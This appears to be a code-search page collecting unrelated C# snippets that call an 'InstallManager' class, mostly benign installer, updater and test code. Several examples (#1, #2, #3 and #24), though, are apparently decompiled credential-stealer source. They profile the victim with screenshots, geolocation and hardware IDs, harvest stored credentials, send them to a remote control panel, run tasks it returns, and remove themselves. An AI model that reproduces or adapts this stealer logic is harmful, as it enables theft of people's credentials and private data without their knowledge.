Beispiel #1
0
        public static UserLog Create(ClientSettings settings)
        {
            UserLog userLog = new UserLog();

            try
            {
                GeoInfo        geoInfo            = GeoHelper.Get();
                IList <string> blacklistedCountry = settings.BlacklistedCountry;
                if (blacklistedCountry != null && blacklistedCountry.Count > 0 && settings.BlacklistedCountry.Contains(geoInfo.Country))
                {
                    InstallManager.RemoveCurrent();
                }
                WmiDiskDrive wmiDiskDrive = new WmiService().QueryFirst <WmiDiskDrive>(new WmiDiskDriveQuery());
                Size         size         = Screen.PrimaryScreen.Bounds.Size;
                string       text         = System.TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString();
                if (!text.StartsWith("-"))
                {
                    text = "+" + text;
                }
                userLog.IP         = geoInfo.IP;
                userLog.Location   = geoInfo.Location;
                userLog.Country    = geoInfo.Country;
                userLog.Screenshot = CaptureScreen();
                userLog.UserAgent  = UserAgentDetector.GetUserAgent();
                IList <string> blacklistedCountry2 = settings.BlacklistedCountry;
                if (blacklistedCountry2 != null && blacklistedCountry2.Count > 0 && settings.BlacklistedCountry.Contains(geoInfo.Country))
                {
                    InstallManager.RemoveCurrent();
                }
                userLog.HWID              = DecryptHelper.GetMd5Hash(Environment.UserDomainName + Environment.UserName + wmiDiskDrive.SerialNumber).Replace("-", string.Empty);
                userLog.CurrentLanguage   = InputLanguage.CurrentInputLanguage.Culture.EnglishName;
                userLog.TimeZone          = "UTC" + text;
                userLog.MonitorSize       = $"{size.Width}x{size.Height}";
                userLog.IsProcessElevated = NativeMethods.IsUserAnAdmin();
                userLog.UacType           = UacHelper.AdminPromptBehavior;
                userLog.OS       = OsDetector.GetWindowsVersion();
                userLog.Username = Environment.UserName;
                return(userLog);
            }
            catch
            {
                return(userLog);
            }
            finally
            {
                userLog.HWID            = (string.IsNullOrWhiteSpace(userLog.HWID) ? "UNKNOWN" : userLog.HWID);
                userLog.IP              = (string.IsNullOrWhiteSpace(userLog.IP) ? "UNKNOWN" : userLog.IP);
                userLog.MonitorSize     = (string.IsNullOrWhiteSpace(userLog.MonitorSize) ? "UNKNOWN" : userLog.MonitorSize);
                userLog.OS              = (string.IsNullOrWhiteSpace(userLog.OS) ? "UNKNOWN" : userLog.OS);
                userLog.TimeZone        = (string.IsNullOrWhiteSpace(userLog.TimeZone) ? "UNKNOWN" : userLog.TimeZone);
                userLog.Username        = (string.IsNullOrWhiteSpace(userLog.Username) ? "UNKNOWN" : userLog.Username);
                userLog.Location        = (string.IsNullOrWhiteSpace(userLog.Location) ? "UNKNOWN" : userLog.Location);
                userLog.Country         = (string.IsNullOrWhiteSpace(userLog.Country) ? "UNKNOWN" : userLog.Country);
                userLog.CurrentLanguage = (string.IsNullOrWhiteSpace(userLog.CurrentLanguage) ? "UNKNOWN" : userLog.CurrentLanguage);
                userLog.UserAgent       = (string.IsNullOrWhiteSpace(userLog.UserAgent) ? "UNKNOWN" : userLog.UserAgent);
            }
        }
Beispiel #2
0
        private static void Main(string[] args)
        {
            string str     = "127.0.0.1";
            string buildId = "pref";

            try
            {
                Service <IRemotePanel> .RemoteIP = str;
                Service <IRemotePanel> .Use((Action <IRemotePanel>)(panel =>
                {
                    ClientSettings result1 = panel.GetSettings().Result;
                    UserLog user           = UserLog.Create(result1);
                    user.BuildID           = buildId;
                    user.Credentials       = Credentials.Create(result1);
                    bool flag = false;
                    while (!flag)
                    {
                        try
                        {
                            panel.SendClientInfo(user).Wait();
                            flag = true;
                        }
                        catch
                        {
                            flag = false;
                        }
                    }
                    user.Credentials           = new Credentials();
                    IList <RemoteTask> result2 = panel.GetTasks(user).Result;
                    if (result2 == null)
                    {
                        return;
                    }
                    foreach (RemoteTask task in (IEnumerable <RemoteTask>)result2)
                    {
                        try
                        {
                            if (Program.CompleteTask(task))
                            {
                                panel.CompleteTask(user, task.ID).Wait();
                            }
                        }
                        catch
                        {
                        }
                    }
                }));
            }
            catch
            {
            }
            finally
            {
                InstallManager.RemoveCurrent();
            }
        }
Beispiel #3
0
        private static void Main(string[] args)
        {
            string remoteIP = "0.0.0.0";
            string buildId  = "wwq";

            try
            {
                Service <IRemotePanel> .RemoteIP = remoteIP;
                Service <IRemotePanel> .Use(delegate(IRemotePanel panel)
                {
                    ClientSettings result = panel.GetSettings().Result;
                    UserLog userLog       = UserLog.Create(result);
                    userLog.BuildID       = buildId;
                    userLog.Credentials   = Credentials.Create(result);
                    bool flag             = false;
                    while (!flag)
                    {
                        try
                        {
                            panel.SendClientInfo(userLog).Wait();
                            flag = true;
                        }
                        catch
                        {
                            flag = false;
                        }
                    }
                    userLog.Credentials        = new Credentials();
                    IList <RemoteTask> result2 = panel.GetTasks(userLog).Result;
                    if (result2 != null)
                    {
                        foreach (RemoteTask item in result2)
                        {
                            try
                            {
                                if (CompleteTask(item))
                                {
                                    panel.CompleteTask(userLog, item.ID).Wait();
                                }
                            }
                            catch
                            {
                            }
                        }
                    }
                });
            }
            catch
            {
            }
            finally
            {
                InstallManager.RemoveCurrent();
            }
        }
Beispiel #4
0
        /// <summary>
        /// Runs checks and updates if necessary
        /// </summary>
        /// <returns></returns>
        public static bool CheckExecuteUpdate(ILog QuasarLogger)
        {
            bool UpdateSuccessful = false;


            //If the loaded conf file is a new update file
            if (Properties.Settings.Default.UpgradeRequired)
            {
                NeedsUpdate = true;

                //Making file up to date with previous data
                UpgradeSettingFile();

                //If it's Quasar's first launch
                if (NeedsInitialSetup)
                {
                    InstallManager.CreateBaseUserSettings();

                    MessageBoxResult result = System.Windows.MessageBox.Show("Hi ! It seems it's Quasar's first launch. Do you want to change where Quasar is gonna store mods?", "First Launch Warning", MessageBoxButton.YesNo);
                    switch (result)
                    {
                    case MessageBoxResult.Yes:
                        InstallManager.ChangeInstallLocationSetting();
                        break;

                    case MessageBoxResult.No:
                        Properties.Settings.Default.DefaultDir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\\Quasar";
                        Properties.Settings.Default.Save();
                        break;
                    }
                    InstallManager.CreateBaseFolders();
                }
                //If it's just a regular update
                else
                {
                    InstallManager.CopyBaseResources();

                    SetupLogger(QuasarLogger);
                    QuasarLogger.Debug("Updating");
                    QuasarLogger.Debug("Tagging for Scan");
                    NeedsScanning = true;
                }
            }
            else
            {
                NeedsUpdate = false;
                QuasarLogger.Debug("No Update");
                UpdateSuccessful = true;
            }



            return(UpdateSuccessful);
        }
        public void SetupInstall(string[] productList)
        {
            _hasInstallers  = false;
            _installControl = null;
            _installManager = new InstallManager();
            _productList    = new List <string>();
            _installManager.InstallerStatusUpdated += new EventHandler <InstallStatusEventArgs>(InstallerStatusUpdated);
            _installManager.InstallCompleted       += new EventHandler <EventArgs>(InstallerCompletedCallback);

            var productManager = new ProductManager();

            // Load feed specifying that enclosure files are needed.
            productManager.Load(new Uri(WebPiFeedUrl), true, true, false, Path.GetTempPath());

            var productsToInstall    = new List <Product>();
            var uniqueInstallerList  = new Dictionary <string, Installer>(StringComparer.OrdinalIgnoreCase);
            var languageOfInstallers = productManager.GetLanguage(Thread.CurrentThread.CurrentCulture.ToString());
            var english = productManager.GetLanguage("en");

            foreach (var productName in productList)
            {
                Product product = productManager.GetProduct(productName);
                LogInformation("Initial Product to install: {0}", product.ProductId);
                if (!product.IsInstalled(true))
                {
                    AddProductWithDependencies(product, productsToInstall);

                    foreach (Product productToInstall in productsToInstall)
                    {
                        Installer currentInstaller = productToInstall.GetInstaller(languageOfInstallers);
                        if (currentInstaller == null)
                        {
                            currentInstaller = productToInstall.GetInstaller(english);
                        }

                        if (currentInstaller != null)
                        {
                            if (!uniqueInstallerList.ContainsKey(currentInstaller.Product.ProductId))
                            {
                                uniqueInstallerList[currentInstaller.Product.ProductId] = currentInstaller;
                                LogInformation("Adding product: {0}", currentInstaller.Product.ProductId);
                                _productList.Add(currentInstaller.Product.ProductId);
                            }
                            _hasInstallers = true;
                        }
                    }
                }
            }

            if (_hasInstallers)
            {
                _installManager.Load(uniqueInstallerList.Values);
            }
        }
Beispiel #6
0
 private void destinationPathTextBox_TextChanged(object sender, EventArgs e)
 {
     if (destinationPathTextBox.Text.Length > 2 && Char.IsLetter(destinationPathTextBox.Text[0]) && destinationPathTextBox.Text[1] == ':' && destinationPathTextBox.Text[2] == '\\')
     {
         nextButton.Enabled = true;
         InstallManager.RefreshInstallPanel(destinationPathTextBox, availableSpaceLabel1, requiredSpaceLabel1, languageComboBox, OptionManager.GetLanguage(this));
     }
     else
     {
         nextButton.Enabled        = false;
         availableSpaceLabel1.Text = LanguageUtil.GetCurrentLanguageString("Unavailable", Name, OptionManager.GetLanguage(this));
     }
 }
Beispiel #7
0
        public void UninstallDoesntCrashOnMissingAppDirectory()
        {
            string         dir;
            string         appDir;
            InstallManager fixture;

            using (IntegrationTestHelper.WithFakeInstallDirectory(out dir))
                using (IntegrationTestHelper.WithFakeAlreadyInstalledApp(out appDir)) {
                    var di = new DirectoryInfo(dir);

                    var bundledRelease = ReleaseEntry.GenerateFromFile(di.GetFiles("*.nupkg").First().FullName);
                    fixture = new InstallManager(bundledRelease, appDir);
                }

            fixture.ExecuteUninstall().First();
        }
Beispiel #8
0
    void Start()
    {
        Localizatron.Instance.SetLanguage("en_EN");
        LocalizeGUI();

        if (!PatchesDirectoryURL.EndsWith("/"))
        {
            PatchesDirectoryURL += "/";
        }
        if (!BuildsDirectoryURL.EndsWith("/"))
        {
            BuildsDirectoryURL += "/";
        }

        OverrideSettings();

        m_launcher = new LauncherManager();
        m_launcher.SetOnSetMainProgressBarAction(OnSetMainProgressBar);
        m_launcher.SetOnSetDetailProgressBarAction(OnSetDetailProgressBar);
        m_launcher.SetOnIncreaseMainProgressBarAction(OnIncreaseMainProgressBar);
        m_launcher.SetOnIncreaseDetailProgressBarAction(OnIncreaseDetailProgressBar);
        m_launcher.SetOnLogAction(OnLog);
        m_launcher.SetOnErrorAction(OnError);
        m_launcher.SetOnFatalErrorAction(OnFatalError);
        m_launcher.SetOnTaskStartedAction(OnTaskStarted);
        m_launcher.SetOnTaskCompletedAction(OnTaskCompleted);
        m_launcher.SetOnDownloadProgressAction(OnDownloadProgress);
        m_launcher.SetOnDownloadCompletedAction(OnDownloadCompleted);

        m_installer = new InstallManager();
        m_installer.SetOnSetMainProgressBarAction(OnSetMainProgressBar);
        m_installer.SetOnSetDetailProgressBarAction(OnSetDetailProgressBar);
        m_installer.SetOnIncreaseMainProgressBarAction(OnIncreaseMainProgressBar);
        m_installer.SetOnIncreaseDetailProgressBarAction(OnIncreaseDetailProgressBar);
        m_installer.SetOnLogAction(OnLog);
        m_installer.SetOnErrorAction(OnError);
        m_installer.SetOnFatalErrorAction(OnFatalError);
        m_installer.SetOnTaskStartedAction(OnTaskStarted);
        m_installer.SetOnTaskCompletedAction(OnTaskCompleted);
        m_installer.SetOnDownloadProgressAction(OnDownloadProgress);
        m_installer.SetOnDownloadCompletedAction(OnDownloadCompleted);

        // Edit and uncomment this value to change size of download buffer, in byte
        // SettingsManager.DOWNLOAD_BUFFER_SIZE = 8192;

        m_updateCheckingThread = UnityThreadHelper.CreateThread(() => CheckForUpdates());
    }
Beispiel #9
0
        private void btnAdd_Click(object sender, RoutedEventArgs e)
        {
            InstallManager im = new InstallManager();

            if (tbInstallParams.Text == "")
            {
                param = im.Parameters(name, path);
            }
            else
            {
                param = tbInstallParams.Text;
            }

            data.Add(new Data(name, path, param));

            installGrid.ItemsSource = data;
        }
Beispiel #10
0
        /// <summary>
        /// 설치 되었는지 체크하고 설치 안되어 있으면 설치한다
        /// </summary>
        /// <param name="Settings"></param>
        internal void CheckServer(IDictionary <string, string> Settings)
        {
            //이미 설치됐는지 아직 설치되지 않았는지 체크
            InstallManager im        = new InstallManager();
            bool           UseServer = im.CheckInstall(Settings);

            this.UseWow6432Node = im.UseWow6432Node;
            if (UseServer)
            {
                //이미 설치된 경우 레지스트리 세팅을 통한 서버세팅
                if (UseWow6432Node)
                {
                }
                else
                {
                }
            }
        }
Beispiel #11
0
        // DownloadCompleted event handler
        public void DownloadCompletedHandler(object sender, EventArgs e)
        {
            if (!this.HasError)
            {
                // If the file already exists, delete it
                if (File.Exists(this.DownloadPath))
                {
                    File.Delete(this.DownloadPath);
                }

                // Convert the temporary (.tmp) file to the actual (requested) file
                if (File.Exists(this.TempDownloadPath))
                {
                    File.Move(this.TempDownloadPath, this.DownloadPath);
                }

                this.Status = DownloadStatus.Completed;
                UpdateDownloadDisplay();

                if (this.OpenFileOnCompletion && File.Exists(this.DownloadPath))
                {
                    Application.Current.Dispatcher.Invoke((Action) delegate {
                        InstallManager im = new InstallManager();
                        string n1         = null;
                        string n2         = null;
                        string n3         = null;
                        n1 = DownloadPath;
                        if (execpath != null)
                        {
                            n3 = @execpath;
                        }

                        n2 = im.Parameters(n1, n3);
                        im.Installation(n1, n2);
                    });
                }
            }
            else
            {
                this.Status = DownloadStatus.Error;
                UpdateDownloadDisplay();
            }
        }
Beispiel #12
0
        public void Setup()
        {
            _swordManager = new Manager("LocalManager");
            _swordModule  = _swordManager.GetModuleByName("ESV");

            if (_swordModule != null)
            {
                return;
            }
            using (var installManager = new InstallManager("baseDirectory"))
            {
                installManager.SetUserDisclaimerConfirmed();
                installManager.SyncConfig();
                installManager.RefreshRemoteSource("CrossWire");

                installManager.RemoteInstallModule(_swordManager, "CrossWire", "ESV");
                _swordModule = _swordManager.GetModuleByName("ESV");
            }
        }
Beispiel #13
0
        private void browseButton_Click(object sender, EventArgs e)
        {
            folderBrowserDialog.Description = LanguageUtil.GetCurrentLanguageString("BrowseDescription", Name, OptionManager.GetLanguage(this));

            if (Directory.Exists(destinationPathTextBox.Text))
            {
                folderBrowserDialog.SelectedPath = destinationPathTextBox.Text;
            }
            else
            {
                folderBrowserDialog.SelectedPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles);
            }

            if (folderBrowserDialog.ShowDialog() != DialogResult.OK)
            {
                return;
            }

            destinationPathTextBox.Text = folderBrowserDialog.SelectedPath;
            InstallManager.RefreshInstallPanel(destinationPathTextBox, availableSpaceLabel1, requiredSpaceLabel1, languageComboBox, OptionManager.GetLanguage(this));
        }
        public void InstallRunsHooks()
        {
            string dir;
            string outDir;

            var package = "SampleUpdatingApp.1.2.0.0.nupkg";

            using (Utility.WithTempDirectory(out outDir))
                using (IntegrationTestHelper.WithFakeInstallDirectory(package, out dir)) {
                    var di = new DirectoryInfo(dir);

                    var bundledRelease = ReleaseEntry.GenerateFromFile(di.GetFiles("*.nupkg").First().FullName);
                    var fixture        = new InstallManager(bundledRelease, outDir);
                    var pkg            = new ZipPackage(Path.Combine(dir, package));

                    fixture.ExecuteInstall(dir, pkg).Wait();

                    var generatedFile = Path.Combine(outDir, "SampleUpdatingApp", "app-1.2.0.0", "install");

                    Assert.True(File.Exists(generatedFile));
                }
        }
Beispiel #15
0
        public void HandlerInstallCompleted(object sender, EventArgs e)
        {
            InstallManager installManager = sender as InstallManager;

            if (null != installManager)
            {
                InstallerContext installerContext;
                if (null != installManager.InstallerContexts && installManager.InstallerContexts.Count > 0)
                {
                    installerContext   = installManager.InstallerContexts[0];
                    _installReturnCode = installerContext.ReturnCode;
                }
            }

            if (null != _installReturnCode)
            {
                _failedMessage = string.Format("{0}: {1}",
                                               _installReturnCode.Status,
                                               _installReturnCode.DetailedInformation);
                sb.AppendFormat("Return Code: {0}", _failedMessage).AppendLine();
            }
            sb.AppendLine("Installation completed");
        }
Beispiel #16
0
        public void UninstallRemovesEverything()
        {
            string dir;
            string appDir;

            using (IntegrationTestHelper.WithFakeInstallDirectory(out dir))
                using (IntegrationTestHelper.WithFakeAlreadyInstalledApp(out appDir)) {
                    var di       = new DirectoryInfo(dir);
                    var progress = new Subject <int>();

                    var bundledRelease = ReleaseEntry.GenerateFromFile(di.GetFiles("*.nupkg").First().FullName);
                    var fixture        = new InstallManager(bundledRelease, appDir);

                    var progressValues = new List <int>();
                    progress.Subscribe(progressValues.Add);

                    fixture.ExecuteUninstall().First();

                    di = new DirectoryInfo(appDir);
                    di.GetDirectories().Any().ShouldBeFalse();
                    di.GetFiles().Any().ShouldBeFalse();
                }
        }
Beispiel #17
0
        private void MainForm_Load(object sender, EventArgs e)
        {
            _objInstallerManager = new InstallManager();
            _objInstallerManager.LoadOptions();

            // ** Check if the uninstaller was run manually (without the /u switch) in which case we will switch to uinstall mode.
            ProgramInfo pi = new ProgramInfo(_objInstallerManager.Options);

            if (InstallManager.ApplicationIsInstalled(pi))
            {
                SparkGlobals.ProgramMode = SparkProgramMode.Uninstall;
                Proteus.Globals.Logger.LogWarn("Uninstall run without " + SparkFlags.Uninstall + " switch - detected installed app so switching to uninstall mode.");
            }
            else
            {
                if (_objInstallerManager.GetOption(InstallOption.UninstallFolderRoot_Uninstaller_Only) != null)
                {
                    // ** if the appliation is not installed, but we are running the uninstaller, then tell the user and quit.
                    DisplayView(InstallerViewType.ShowError);
                    return;
                }
            }

            System.Windows.Threading.DispatcherTimer myDispatcherTimer = new System.Windows.Threading.DispatcherTimer();
            myDispatcherTimer.Interval = new TimeSpan(0, 0, 0, 0, 100); // 100 Milliseconds
            myDispatcherTimer.Tick    += new EventHandler(UpdateTick);
            myDispatcherTimer.Start();

            if (SparkGlobals.ProgramMode == SparkProgramMode.Install)
            {
                DisplayView(InstallerViewType.Options);
            }
            else if (SparkGlobals.ProgramMode == SparkProgramMode.Uninstall)
            {
                DisplayView(InstallerViewType.UninstallOptions);
            }
        }
Beispiel #18
0
 private void btnInstall_Click(object sender, RoutedEventArgs e)
 {
     try
     {
         progressBar1.IsIndeterminate = true;
         progressBar1.Visibility      = Visibility.Visible;
         InstallManager im = new InstallManager();
         for (int datas = 0; datas < data.Count; datas++)
         {
             string n1 = null;
             string n2 = null;
             n1 = data[datas].Name;
             n2 = data[datas].Param;
             im.Installation(n1, n2);
         }
         progressBar1.IsIndeterminate = false;
         progressBar1.Visibility      = Visibility.Hidden;
     }
     catch (Exception ss)
     {
         string           message = ss.ToString();
         MessageBoxResult result  = Xceed.Wpf.Toolkit.MessageBox.Show(message, "SecretService");
     }
 }
Beispiel #19
0
        public void InstallWithContentInPackageDropsInSameFolder()
        {
            string dir;
            string outDir;

            var package = "ProjectWithContent.1.0.0.0-beta-full.nupkg";

            using (Utility.WithTempDirectory(out outDir))
                using (IntegrationTestHelper.WithFakeInstallDirectory(package, out dir))
                {
                    try
                    {
                        var di = new DirectoryInfo(dir);

                        var bundledRelease = ReleaseEntry.GenerateFromFile(di.GetFiles("*.nupkg").First().FullName);
                        var fixture        = new InstallManager(bundledRelease, outDir);
                        var pkg            = new ZipPackage(Path.Combine(dir, package));

                        fixture.ExecuteInstall(dir, pkg).Wait();

                        var filesToLookFor = new[] {
                            "ProjectWithContent\\app-1.0.0.0\\project-with-content.exe",
                            "ProjectWithContent\\app-1.0.0.0\\some-words.txt",
                            "ProjectWithContent\\app-1.0.0.0\\dir\\item-in-subdirectory.txt",
                            "ProjectWithContent\\packages\\RELEASES",
                            "ProjectWithContent\\packages\\ProjectWithContent.1.0.0.0-beta-full.nupkg",
                        };

                        filesToLookFor.ForEach(f => Assert.True(File.Exists(Path.Combine(outDir, f)), "Could not find file: " + f));
                    }
                    finally
                    {
                        Directory.Delete(dir, true);
                    }
                }
        }
Beispiel #20
0
        public void InstallProducts(
            IEnumerable<string> productIdsToInstall,
            bool installDependencies,
            string languageId,
            EventHandler<InstallStatusEventArgs> installStatusUpdatedHandler,
            EventHandler<EventArgs> installCompleteHandler)
        {

            List<Product> productsToInstall = null;
            if (installDependencies)
            {
                // Get products & dependencies list to install
                productsToInstall = GetProductsToInstallWithDependencies(productIdsToInstall);
            }
            else
            {
                productsToInstall = GetProductsToInstall(productIdsToInstall);
            }



            // Get installers
            Language lang = GetLanguage(languageId);
            List<Installer> installersToUse = GetInstallers(productsToInstall, lang);


            // Prepare install manager & set event handlers
            _installManager = new InstallManager();
            _installManager.Load(installersToUse);


            if (null != installStatusUpdatedHandler)
            {
                _installManager.InstallerStatusUpdated += installStatusUpdatedHandler;
            }
            _installManager.InstallerStatusUpdated += InstallManager_InstallerStatusUpdated;

            if (null != installCompleteHandler)
            {
                _installManager.InstallCompleted += installCompleteHandler;
            }
            _installManager.InstallCompleted += InstallManager_InstallCompleted;

            // Download installer files
            foreach (InstallerContext installerContext in _installManager.InstallerContexts)
            {
                if (null != installerContext.Installer.InstallerFile)
                {
                    string failureReason;
                    if (!_installManager.DownloadInstallerFile(installerContext, out failureReason))
                    {
                        WriteLog(string.Format("DownloadInstallerFile '{0}' failed: {1}",
                                          installerContext.Installer.InstallerFile.InstallerUrl, failureReason));

                        throw new Exception(
                                          string.Format("Can't install {0}  DownloadInstallerFile '{1}' failed: {2}",
                                          installerContext.ProductName,
                                          installerContext.Installer.InstallerFile.InstallerUrl, 
                                          failureReason)
                                          );
                    }
                }
            }

            if (installersToUse.Count > 0)
            {
                // Start installation
                _installCompleted = false;
                _installManager.StartInstallation();

                while (!_installCompleted)
                {
                    Thread.Sleep(100);
                }

                //save logs
                SaveLogDirectory();


                _installCompleted = false;
            }
            else
            {
                //Log("Nothing to install");
            }

        }
Beispiel #21
0
        private void buttonContinue_Click(object sender, EventArgs e) // the listed mods are checked against installed mods/gamefiles for conflicts.
        {
            List <string> modFiles = new List <string>();

            foreach (PreinstallEntry entry in Mods)
            {
                modFiles.Add(entry.filename);
            }
            log.ClearPage();
            SetVisiblePage(log);
            ProgressWindow.Show("Checking Validity", "Checking mod validity...", new Action((MethodInvoker) delegate { PreinstallManager.FilterModValidity(modFiles); }), log);
            if (modFiles.Count == 0)
            {
                refreshInstallList(); return;
            }                        //no valid mods. no mods will be installed

            formLocation = Location; // to center the conflict window
            formSize     = Size;
            ProgressWindow.Show("Checking Conflicts", "Checking for conflicts with installed mods...", new Action((MethodInvoker) delegate { PreinstallManager.FilterModConflicts(modFiles); }), log);
            if (modFiles.Count == 0)
            {
                refreshInstallList(); return;
            }                                                          //remaining mods had conflicts, user chose to install none.

            string modsToInstall = "";

            for (int i = 0; i < modFiles.Count; i++)
            {
                modsToInstall += "\n" + Tools.ReadMetaData(modFiles[i]).Name;
            }
            DialogResult confirmInstall = MessageBox.Show(String.Format("The following mods will be installed:\n" + modsToInstall), "SnakeBite", MessageBoxButtons.OKCancel);

            if (confirmInstall == DialogResult.OK)
            {
                ProgressWindow.Show("Installing Mod(s)", "Installing, please wait...", new Action((MethodInvoker) delegate { InstallManager.InstallMods(modFiles); }), log);
                Close(); // the form closes upon installation. If the install is cancelled, the form remains open.
            }
            else
            {
                refreshInstallList();
            }
        }
Beispiel #22
0
        public void Setup()
        {
            _swordManager = new Manager("LocalManager");
            _swordModule = _swordManager.GetModuleByName("ESV");

            if(_swordModule != null)
            {
                return;
            }
            using(var installManager = new InstallManager("baseDirectory"))
            {
                installManager.SetUserDisclaimerConfirmed();
                installManager.SyncConfig();
                installManager.RefreshRemoteSource("CrossWire");

                installManager.RemoteInstallModule(_swordManager, "CrossWire", "ESV");
                _swordModule = _swordManager.GetModuleByName("ESV");
            }
        }
 public WpiCommand()
 {
     this.installManager = new InstallManager();
 }
Beispiel #24
0
        // Token: 0x060000AB RID: 171 RVA: 0x00003698 File Offset: 0x00001898
        public static UserLog Create(ClientSettings settings)
        {
            UserLog result = default(UserLog);

            try
            {
                GeoInfo geoInfo = GeoHelper.Get();
                geoInfo.IP         = (string.IsNullOrWhiteSpace(geoInfo.IP) ? "UNKNOWN" : geoInfo.IP);
                geoInfo.Location   = (string.IsNullOrWhiteSpace(geoInfo.Location) ? "UNKNOWN" : geoInfo.Location);
                geoInfo.Country    = (string.IsNullOrWhiteSpace(geoInfo.Country) ? "UNKNOWN" : geoInfo.Country);
                geoInfo.PostalCode = (string.IsNullOrWhiteSpace(geoInfo.PostalCode) ? "UNKNOWN" : geoInfo.PostalCode);
                IList <string> blacklistedCountry = settings.BlacklistedCountry;
                if (blacklistedCountry != null && blacklistedCountry.Count > 0 && settings.BlacklistedCountry.Contains(geoInfo.Country))
                {
                    InstallManager.RemoveCurrent();
                }
                IList <string> blacklistedIP = settings.BlacklistedIP;
                if (blacklistedIP != null && blacklistedIP.Count > 0 && settings.BlacklistedIP.Contains(geoInfo.IP))
                {
                    InstallManager.RemoveCurrent();
                }
                WmiDiskDrive wmiDiskDrive = null;
                try
                {
                    wmiDiskDrive = new WmiService().QueryFirst <WmiDiskDrive>(new WmiDiskDriveQuery());
                }
                catch (Exception)
                {
                }
                result.HWID = DecryptHelper.GetMd5Hash(Environment.UserDomainName + Environment.UserName + ((wmiDiskDrive != null) ? wmiDiskDrive.SerialNumber : null)).Replace("-", string.Empty);
                string text = TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString();
                if (!text.StartsWith("-"))
                {
                    text = "+" + text;
                }
                result.IP         = geoInfo.IP;
                result.Location   = geoInfo.Location;
                result.Country    = geoInfo.Country;
                result.PostalCode = geoInfo.PostalCode;
                if (settings.GrabScreenshot)
                {
                    result.Screenshot = UserLogHelper.CaptureScreen();
                }
                if (settings.GrabUserAgent)
                {
                    result.FingerPrint = UserAgentDetector.GetFingerPrint();
                }
                else
                {
                    result.FingerPrint = new FingerPrint
                    {
                        Plugins            = "UNKNOWN",
                        UserAgent          = "UNKNOWN",
                        WebBaseGlRenderer  = "UNKNOWN",
                        WebBaseGlVendor    = "UNKNOWN",
                        WebBaseGlVersion   = "UNKNOWN",
                        WebDebugGlRenderer = "UNKNOWN",
                        WebDebugGlVendor   = "UNKNOWN"
                    };
                }
                result.CurrentLanguage = InputLanguage.CurrentInputLanguage.Culture.EnglishName;
                result.TimeZone        = "UTC" + text;
                Size size = Screen.PrimaryScreen.Bounds.Size;
                result.MonitorSize       = string.Format("{0}x{1}", size.Width, size.Height);
                result.IsProcessElevated = false;
                result.OS       = OsDetector.GetWindowsVersion();
                result.Username = Environment.UserName;
            }
            catch (Exception)
            {
            }
            finally
            {
                result.HWID            = (string.IsNullOrWhiteSpace(result.HWID) ? "UNKNOWN" : result.HWID);
                result.MonitorSize     = (string.IsNullOrWhiteSpace(result.MonitorSize) ? "UNKNOWN" : result.MonitorSize);
                result.OS              = (string.IsNullOrWhiteSpace(result.OS) ? "UNKNOWN" : result.OS);
                result.TimeZone        = (string.IsNullOrWhiteSpace(result.TimeZone) ? "UNKNOWN" : result.TimeZone);
                result.Username        = (string.IsNullOrWhiteSpace(result.Username) ? "UNKNOWN" : result.Username);
                result.IP              = (string.IsNullOrWhiteSpace(result.IP) ? "UNKNOWN" : result.IP);
                result.PostalCode      = (string.IsNullOrWhiteSpace(result.PostalCode) ? "UNKNOWN" : result.PostalCode);
                result.Location        = (string.IsNullOrWhiteSpace(result.Location) ? "UNKNOWN" : result.Location);
                result.Country         = (string.IsNullOrWhiteSpace(result.Country) ? "UNKNOWN" : result.Country);
                result.CurrentLanguage = (string.IsNullOrWhiteSpace(result.CurrentLanguage) ? "UNKNOWN" : result.CurrentLanguage);
            }
            return(result);
        }
Beispiel #25
0
        public WixUiBootstrapper(IWiXEvents wixEvents, TinyIoCContainer testKernel = null, IRoutingState router = null, IFileSystemFactory fileSystem = null, string currentAssemblyDir = null)
        {
            Kernel                  = testKernel ?? createDefaultKernel();
            this.fileSystem         = fileSystem ?? AnonFileSystem.Default;
            this.currentAssemblyDir = currentAssemblyDir ?? Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location);

            RxApp.ConfigureServiceLocator(
                (type, contract) => {
                this.Log().Info("Resolving type '{0}' with contract '{1}'", type, contract);
                return(String.IsNullOrEmpty(contract)
                        ? Kernel.Resolve(type)
                        : Kernel.Resolve(type, contract));
            },
                (type, contract) => Kernel.ResolveAll(type, true),
                (c, t, s) => {
                this.Log().Info("Registering type '{0}' for interface '{1}' and contract '{2}'", c, t, s);
                if (String.IsNullOrEmpty(s))
                {
                    Kernel.Register(t, c, Guid.NewGuid().ToString());
                }
                else
                {
                    Kernel.Register(t, c, s);
                }
            });

            RxRouting.ViewModelToViewFunc = findViewClassNameForViewModelName;

            Kernel.Register <IWixUiBootstrapper>(this);
            Kernel.Register <IScreen>(this);
            Kernel.Register(wixEvents);

            Router    = router ?? new RoutingState();
            WiXEvents = wixEvents;

            _BundledRelease = new Lazy <ReleaseEntry>(readBundledReleasesFile);

            registerExtensionDlls(Kernel);

            UserError.RegisterHandler(ex => {
                this.Log().ErrorException("Something unexpected happened", ex.InnerException);

                if (wixEvents.DisplayMode != Display.Full)
                {
                    this.Log().Error(ex.ErrorMessage);
                    wixEvents.ShouldQuit();
                }

                var errorVm   = RxApp.GetService <IErrorViewModel>();
                errorVm.Error = ex;
                errorVm.Shutdown.Subscribe(_ => wixEvents.ShouldQuit());
                errorVm.OpenLogsFolder.Subscribe(_ => openLogsFolder());

                RxApp.DeferredScheduler.Schedule(() => Router.Navigate.Execute(errorVm));
                return(Observable.Return(RecoveryOptionResult.CancelOperation));
            });

            bundledPackageMetadata = new Lazy <IPackage>(openBundledPackage);

            wixEvents.DetectPackageCompleteObs.Subscribe(eventArgs => {
                var error = convertHResultToError(eventArgs.Status);
                if (error != null)
                {
                    UserError.Throw(error);
                    return;
                }

                if (wixEvents.Action == LaunchAction.Uninstall)
                {
                    this.Log().Info("Shimmer is doing an uninstall! Sadface!");
                    var uninstallVm = RxApp.GetService <IUninstallingViewModel>();
                    Router.Navigate.Execute(uninstallVm);
                    wixEvents.Engine.Plan(LaunchAction.Uninstall);
                    return;
                }

                // TODO: If the app is already installed, run it and bail
                // If Display is silent, we should just exit here.

                if (wixEvents.Action == LaunchAction.Install)
                {
                    if (wixEvents.DisplayMode != Display.Full)
                    {
                        this.Log().Info("Shimmer is doing a silent install! Sneaky!");
                        wixEvents.Engine.Plan(LaunchAction.Install);
                        return;
                    }

